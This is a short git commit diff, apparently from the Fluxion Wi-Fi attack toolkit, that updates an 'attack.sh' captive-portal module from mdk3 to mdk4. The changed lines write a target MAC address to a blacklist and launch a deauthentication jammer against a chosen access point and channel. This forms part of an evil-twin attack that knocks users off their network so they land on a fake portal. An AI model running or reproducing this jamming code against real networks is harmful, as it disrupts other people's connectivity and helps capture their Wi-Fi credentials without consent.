Update attack.sh
This commit is contained in:
parent
6c2a560bf1
commit
1de4363e93
|
@ -1415,7 +1415,7 @@ stop_attack() {
|
|||
2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
|
||||
CaptivePortalJammerServiceXtermPID="" # Clear parent PID
|
||||
fi
|
||||
sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk3_blacklist.lst"
|
||||
sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk4_blacklist.lst"
|
||||
|
||||
# Kill captive portal web server log viewer.
|
||||
if [ "$CaptivePortalWebServiceXtermPID" ]; then
|
||||
|
@ -1511,7 +1511,7 @@ start_attack() {
|
|||
CaptivePortalWebServiceXtermPID=$!
|
||||
|
||||
echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice"
|
||||
echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk3_blacklist.lst"
|
||||
echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk4_blacklist.lst"
|
||||
|
||||
if [ $FLUXIONEnable5GHZ -eq 1 ]; then
|
||||
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
|
||||
|
@ -1523,7 +1523,7 @@ start_attack() {
|
|||
|
||||
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
|
||||
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
|
||||
"mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
|
||||
"mdk4 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk4_blacklist.lst\"" &
|
||||
# Save parent's pid, to get to child later.
|
||||
CaptivePortalJammerServiceXtermPID=$!
|
||||
|
||||
|
|
Loading…
Reference in New Issue